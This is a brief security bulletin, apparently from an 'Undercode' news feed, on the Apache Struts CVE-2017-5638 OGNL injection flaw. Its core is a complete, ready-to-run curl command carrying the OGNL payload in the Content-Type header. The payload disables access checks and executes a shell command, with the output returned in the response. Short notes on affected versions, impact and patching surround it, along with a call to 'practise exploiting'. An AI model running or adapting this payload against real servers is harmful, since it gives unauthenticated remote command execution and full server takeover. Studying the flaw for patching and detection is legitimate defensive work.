Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit is triggered by a malicious `Content-Type` HTTP header. If the header value contains an error message string, the parser incorrectly processes it and passes it directly to the underlying Java `OGNL` (Object-Graph Navigation Language) interpreter. This allows an unauthenticated attacker to inject arbitrary OGNL expressions within the header itself. The server then evaluates these expressions, granting the attacker the ability to execute system commands with the same privileges as the Struts application server. This results in full remote code execution on the targeted system.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-showcase/fileupload/actionFileUpload.do`
How Exploit:
Malicious Content-Type header injection. OGNL expression evaluation. Arbitrary command execution.
Protection from this CVE:
Apply vendor patch immediately. Upgrade to Struts 2.3.32 or 2.5.10.1. Implement WAF rules. Filter malicious HTTP headers.
Impact:
Complete system compromise. Unauthorized data access. Server takeover.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
